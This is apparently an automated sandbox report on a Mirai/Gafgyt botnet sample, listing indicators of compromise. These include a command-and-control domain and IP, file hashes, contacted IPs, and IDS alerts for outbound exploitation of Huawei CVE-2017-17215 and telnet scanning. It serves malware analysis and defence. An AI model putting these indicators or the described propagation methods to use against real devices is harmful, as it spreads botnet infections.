Source: unknown	Network traffic detected: HTTP traffic on port 39610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: nullnet_load.x86.elf, type: SAMPLE
Source: Yara match	File source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nullnet_load.x86.elf PID: 5451, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nullnet_load.x86.elf PID: 5452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nullnet_load.x86.elf PID: 5454, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: nullnet_load.x86.elf, type: SAMPLE
Source: Yara match	File source: 5452.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5454.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5451.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nullnet_load.x86.elf PID: 5451, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nullnet_load.x86.elf PID: 5452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nullnet_load.x86.elf PID: 5454, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nullnet_load.x86.elf	100%	Avira	EXP/ELF.Gafgyt.Z.A
nullnet_load.x86.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.mamma.su	45.202.35.22	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	nullnet_load.x86.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	nullnet_load.x86.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.72.33.68	unknown	Angola	37155	NETONEAO	false
157.190.28.109	unknown	Ireland	1213	HEANETIE	false
156.175.120.38	unknown	Egypt	36992	ETISALAT-MISREG	false
94.212.60.235	unknown	Netherlands	33915	TNF-ASNL	false
41.129.114.38	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.102.197.118	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.154.241.61	unknown	United States	19905	NEUSTAR-AS6US	false
41.22.129.208	unknown	South Africa	29975	VODACOM-ZA	false
197.11.215.201	unknown	Tunisia	5438	ATI-TN	false
96.124.129.217	unknown	United States	7922	COMCAST-7922US	false
91.230.232.64	unknown	Romania	48338	LOTO-ASPoenaruBordeanr20RO	false
31.201.84.193	unknown	Netherlands	50266	TMOBILE-THUISNL	false
197.129.211.57	unknown	Morocco	6713	IAM-ASMA	false
156.158.74.36	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.96.148.51	unknown	South Africa	3741	ISZA	false
156.53.207.148	unknown	United States	54535	NIKEUS-NVUS	false
41.71.246.26	unknown	Nigeria	37053	RSAWEB-ASZA	false
197.118.80.107	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.159.177.48	unknown	Sao Tome and Principe	328191	CST-NET-ASST	false
174.167.122.150	unknown	United States	7922	COMCAST-7922US	false
41.234.96.249	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.152.208.132	unknown	Egypt	36992	ETISALAT-MISREG	false
197.20.132.137	unknown	Tunisia	37693	TUNISIANATN	false
166.52.198.1	unknown	United States	22423	ALTIMA-TELECOMCA	false
41.51.234.107	unknown	South Africa	37168	CELL-CZA	false
156.64.163.206	unknown	United States	29975	VODACOM-ZA	false
154.185.86.37	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.163.185.213	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.140.93.131	unknown	Morocco	36903	MT-MPLSMA	false
197.177.87.171	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.62.124.102	unknown	Egypt	8452	TE-ASTE-ASEG	false
70.162.191.134	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
41.74.104.192	unknown	unknown	36974	AFNET-ASCI	false
41.241.171.230	unknown	Sudan	36998	SDN-MOBITELSD	false
41.158.109.0	unknown	Gabon	16058	Gabon-TelecomGA	false
41.102.136.75	unknown	Algeria	36947	ALGTEL-ASDZ	false
202.100.126.177	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.149.138.214	unknown	South Africa	5713	SAIX-NETZA	false
156.141.254.142	unknown	United States	29975	VODACOM-ZA	false
156.158.49.76	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
92.250.232.179	unknown	Luxembourg	12684	SES-LUX-ASLU	false
197.122.183.162	unknown	Egypt	36992	ETISALAT-MISREG	false
108.24.253.211	unknown	United States	701	UUNETUS	false
41.4.84.83	unknown	South Africa	29975	VODACOM-ZA	false
195.118.142.145	unknown	European Union	5617	TPNETPL	false
197.190.12.200	unknown	Ghana	37140	zain-asGH	false
41.155.197.116	unknown	Egypt	37069	MOBINILEG	false
41.121.80.39	unknown	South Africa	16637	MTNNS-ASZA	false
41.227.18.97	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
147.214.205.0	unknown	Sweden	158	ERI-ASUS	false
156.253.238.124	unknown	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
156.155.167.190	unknown	South Africa	37611	AfrihostZA	false
197.1.131.236	unknown	Tunisia	37705	TOPNETTN	false
41.37.179.65	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.72.167.2	unknown	South Africa	16637	MTNNS-ASZA	false
156.26.242.107	unknown	United States	22245	WICHITA-STATE-UUS	false
156.19.217.48	unknown	United States	20115	CHARTER-20115US	false
41.169.50.56	unknown	South Africa	36937	Neotel-ASZA	false
42.44.3.122	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
144.47.32.12	unknown	United States	22284	AS22284-DOI-OPSUS	false
197.137.162.251	unknown	Kenya	36914	KENET-ASKE	false
153.203.223.202	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.214.98.242	unknown	Nigeria	198504	LU1AE	false
41.34.127.187	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.177.39.207	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
153.123.1.224	unknown	Japan	131921	GMOCLGMOCLOUDKKJP	false
41.167.235.106	unknown	South Africa	36937	Neotel-ASZA	false
121.170.235.89	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
156.35.85.200	unknown	Spain	766	REDIRISRedIRISAutonomousSystemES	false
156.207.57.162	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.19.31.120	unknown	South Africa	29975	VODACOM-ZA	false
41.121.224.197	unknown	South Africa	16637	MTNNS-ASZA	false
197.90.50.65	unknown	South Africa	10474	OPTINETZA	false
116.246.54.193	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
156.7.184.123	unknown	United States	29975	VODACOM-ZA	false
80.200.174.255	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
112.113.21.0	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.127.73.132	unknown	South Africa	16637	MTNNS-ASZA	false
41.175.162.166	unknown	South Africa	30844	LIQUID-ASGB	false
44.237.172.171	unknown	United States	16509	AMAZON-02US	false
41.133.63.95	unknown	South Africa	10474	OPTINETZA	false
146.158.247.103	unknown	Spain	12479	UNI2-ASES	false
41.3.151.154	unknown	South Africa	29975	VODACOM-ZA	false
150.147.31.109	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
41.37.76.216	unknown	Egypt	8452	TE-ASTE-ASEG	false
2.203.197.75	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
197.172.14.103	unknown	South Africa	37168	CELL-CZA	false
197.0.31.204	unknown	Tunisia	37705	TOPNETTN	false
41.187.12.169	unknown	Egypt	20928	NOOR-ASEG	false
41.115.248.99	unknown	South Africa	16637	MTNNS-ASZA	false
156.234.204.162	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
197.219.104.222	unknown	Mozambique	37342	MOVITELMZ	false
197.226.105.180	unknown	Mauritius	23889	MauritiusTelecomMU	false
126.240.223.31	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
197.228.244.137	unknown	South Africa	37251	TELKOMMOBILEZA	false
41.68.96.159	unknown	Egypt	24835	RAYA-ASEG	false
41.239.63.42	unknown	Egypt	8452	TE-ASTE-ASEG	false
94.205.63.0	unknown	United Arab Emirates	15802	DU-AS1AE	false
195.24.177.165	unknown	Sweden	39648	WANTECHSE	false
41.113.84.189	unknown	South Africa	16637	MTNNS-ASZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.72.33.68	lkzm4ruibM.elf	Get hash	malicious	Mirai, Moobot	Browse
41.102.197.118	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.arm4-20220928-2327.elf	Get hash	malicious	Mirai	Browse
157.190.28.109	SecuriteInfo.com.Linux.Siggen.9999.21075.6657.elf	Get hash	malicious	Mirai	Browse
157.190.28.109	x86-20220925-1656.elf	Get hash	malicious	Mirai, Moobot	Browse
156.175.120.38	rq9IAlsHl5.elf	Get hash	malicious	Mirai	Browse
	ak.mips-20220923-2311.elf	Get hash	malicious	Mirai	Browse
	5bUKlcMamK	Get hash	malicious	Mirai	Browse
	i686	Get hash	malicious	Mirai Moobot	Browse
41.22.129.208	qgk516Swqn.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	79cgIk1wF5.elf	Get hash	malicious	Mirai, Moobot	Browse
41.129.114.38	x19lsqPL3F.elf	Get hash	malicious	Mirai, Moobot	Browse
197.11.215.201	rEf22zNs0R.elf	Get hash	malicious	Mirai, Moobot	Browse
96.124.129.217	sora.arm7.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HEANETIE	DSSd4xRvdt.exe	Get hash	malicious	Quasar	Browse	194.26.192.177
	46.19.143.29-mips-2024-08-10T05_33_17.elf	Get hash	malicious	Unknown	Browse	149.153.99.171
	arm7.elf	Get hash	malicious	Mirai	Browse	87.46.25.60
	http://khalidhost.loseyourip.com/1.php?id=FEjbjsrEunThvpqF	Get hash	malicious	Unknown	Browse	194.26.192.232
	botx.mips.elf	Get hash	malicious	Mirai	Browse	193.1.183.84
	185.196.11.135-x86-2024-08-06T18_49_53.elf	Get hash	malicious	Mirai	Browse	87.33.148.226
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	157.190.3.63
	T762Z2H6Cj.elf	Get hash	malicious	Mirai, Moobot	Browse	157.190.234.131
	qD7cj0t7Ag.elf	Get hash	malicious	Mirai, Moobot	Browse	87.43.201.58
	SQBALoXp6I.elf	Get hash	malicious	Mirai	Browse	160.6.129.247
NETONEAO	154.216.17.9-skid.x86-2024-08-04T06_23_12.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.33.30
	205.185.120.123-skid.ppc-2024-07-27T10_33_45.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.33.61
	94.156.8.9-skid.ppc-2024-07-23T17_40_07.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.33.73
	93.123.85.50-mips-2024-07-17T09_21_42.elf	Get hash	malicious	Mirai	Browse	41.72.33.84
	hmips-20240623-1326.elf	Get hash	malicious	Mirai	Browse	41.72.57.23
	arm7-20240623-0650.elf	Get hash	malicious	Mirai	Browse	41.72.33.86
	3vnlP8ewPQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	41.72.57.34
	v2z756r9LQ.elf	Get hash	malicious	Unknown	Browse	41.72.33.47
	bot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	41.72.45.71
	arm.nn.elf	Get hash	malicious	Mirai	Browse	41.72.57.38
ETISALAT-MISREG	SecuriteInfo.com.Linux.Siggen.9999.23751.27873.elf	Get hash	malicious	Mirai	Browse	105.206.121.172
	arm6-20240814-0111.elf	Get hash	malicious	Mirai	Browse	156.177.168.140
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	156.173.164.249
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	102.59.153.140
	45.66.231.213-mips-2024-08-09T11_49_48.elf	Get hash	malicious	Unknown	Browse	41.176.43.245
	arm5-20240807-1021.elf	Get hash	malicious	Mirai	Browse	197.126.118.192
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	156.183.18.137
	sora.spc.elf	Get hash	malicious	Mirai	Browse	105.90.169.174
	154.216.17.9-skid.ppc-2024-08-04T06_22_51.elf	Get hash	malicious	Mirai, Moobot	Browse	156.191.172.60
	154.216.17.9-skid.arm-2024-08-04T06_22_56.elf	Get hash	malicious	Mirai, Moobot	Browse	156.177.147.145

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.480647404632957
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	nullnet_load.x86.elf
File size:	74'512 bytes
MD5:	cd0639b53ae5e0abc11d4fb9e5cb47d6
SHA1:	7f42f04ac73f3feec89fc302e97e532f7b818bc9
SHA256:	b54cfe57b6970686b781020486c03656ee9c4ac94bbf9d79f5b1fb630f3cf17d
SHA512:	e70997914ce78cc6f190716a2282d067f9242eaaca7da1453ab55b1c6cdfee6e05520afa3c383a5ff02bbff669208cef1bd0ad64758b737713f48a8fb5a07291
SSDEEP:	1536:oJCMny54LiYugKbKz78/2nW6r/G81XJ0M77f18HbdNW9lQZGxbzEdFyb/4mQtum:oBnyqLiljiw/2nDr+81XJ027fCHbWcej
TLSH:	BD734CC8A5C3F9F5EC000A383077AB71AD77F53B6179EE97E7E96573A840602910229D
File Content Preview:	.ELF....................d...4....!......4. ...(..................... ... ................ ..........@...............Q.td............................U..S.......w....h........[]...$.............U......=@....t..5....$......$.......u........t....h ...........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74112
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x10c06	0x0	0x6	AX	16
.fini	PROGBITS	0x8058cb6	0x10cb6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8058ce0	0x10ce0	0x1240	0x0	0x2	A	32
.ctors	PROGBITS	0x805a000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805a008	0x12008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805a020	0x12020	0x120	0x0	0x3	WA	32
.bss	NOBITS	0x805a140	0x12140	0x840	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x12140	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x11f20	0x11f20	6.5077	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x12000	0x805a000	0x805a000	0x140	0x980	4.5524	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-17T01:02:02.081007+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	57458	37215	192.168.2.13	156.73.242.6
2024-08-17T01:01:54.855241+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	34628	37215	192.168.2.13	41.203.43.145
2024-08-17T01:01:55.440844+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	53754	37215	192.168.2.13	197.131.247.58
2024-08-17T01:01:53.282139+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	42620	37215	192.168.2.13	156.93.225.165
2024-08-17T01:01:54.604958+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	55986	37215	192.168.2.13	197.131.244.219

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 17, 2024 01:01:51.554847002 CEST	24655	23	192.168.2.13	150.92.245.152
Aug 17, 2024 01:01:51.554847956 CEST	24655	2323	192.168.2.13	79.142.73.170
Aug 17, 2024 01:01:51.554863930 CEST	24655	23	192.168.2.13	187.189.192.136
Aug 17, 2024 01:01:51.554872990 CEST	24655	23	192.168.2.13	113.14.143.159
Aug 17, 2024 01:01:51.554877996 CEST	24655	23	192.168.2.13	212.114.44.40
Aug 17, 2024 01:01:51.554877996 CEST	24655	23	192.168.2.13	193.158.100.5
Aug 17, 2024 01:01:51.554892063 CEST	24655	23	192.168.2.13	167.106.186.182
Aug 17, 2024 01:01:51.554894924 CEST	24655	23	192.168.2.13	13.225.168.138
Aug 17, 2024 01:01:51.554894924 CEST	24655	2323	192.168.2.13	104.76.139.107
Aug 17, 2024 01:01:51.554898024 CEST	24655	23	192.168.2.13	191.184.181.207
Aug 17, 2024 01:01:51.554902077 CEST	24655	23	192.168.2.13	46.228.67.215
Aug 17, 2024 01:01:51.554903030 CEST	24655	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:51.554913044 CEST	24655	23	192.168.2.13	148.3.194.169
Aug 17, 2024 01:01:51.554918051 CEST	24655	23	192.168.2.13	99.209.13.188
Aug 17, 2024 01:01:51.554920912 CEST	24655	23	192.168.2.13	84.28.239.138
Aug 17, 2024 01:01:51.554929018 CEST	24655	23	192.168.2.13	41.3.10.118
Aug 17, 2024 01:01:51.554929972 CEST	24655	23	192.168.2.13	37.21.51.226
Aug 17, 2024 01:01:51.554929972 CEST	24655	23	192.168.2.13	68.88.247.49
Aug 17, 2024 01:01:51.554939032 CEST	24655	23	192.168.2.13	32.183.83.201
Aug 17, 2024 01:01:51.554939032 CEST	24655	23	192.168.2.13	174.68.191.182
Aug 17, 2024 01:01:51.554949045 CEST	24655	2323	192.168.2.13	18.90.251.185
Aug 17, 2024 01:01:51.554958105 CEST	24655	23	192.168.2.13	222.226.57.5
Aug 17, 2024 01:01:51.554969072 CEST	24655	23	192.168.2.13	105.23.22.244
Aug 17, 2024 01:01:51.554971933 CEST	24655	23	192.168.2.13	120.219.67.85
Aug 17, 2024 01:01:51.554974079 CEST	24655	23	192.168.2.13	69.6.170.31
Aug 17, 2024 01:01:51.554977894 CEST	24655	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:51.554977894 CEST	24655	23	192.168.2.13	13.90.220.170
Aug 17, 2024 01:01:51.554980993 CEST	24655	23	192.168.2.13	89.136.76.229
Aug 17, 2024 01:01:51.554980993 CEST	24655	23	192.168.2.13	95.66.82.184
Aug 17, 2024 01:01:51.554985046 CEST	24655	23	192.168.2.13	203.52.221.203
Aug 17, 2024 01:01:51.554985046 CEST	24655	2323	192.168.2.13	186.83.55.13
Aug 17, 2024 01:01:51.554986000 CEST	24655	23	192.168.2.13	184.174.169.111
Aug 17, 2024 01:01:51.555011988 CEST	24655	23	192.168.2.13	185.82.55.34
Aug 17, 2024 01:01:51.555013895 CEST	24655	23	192.168.2.13	175.105.85.142
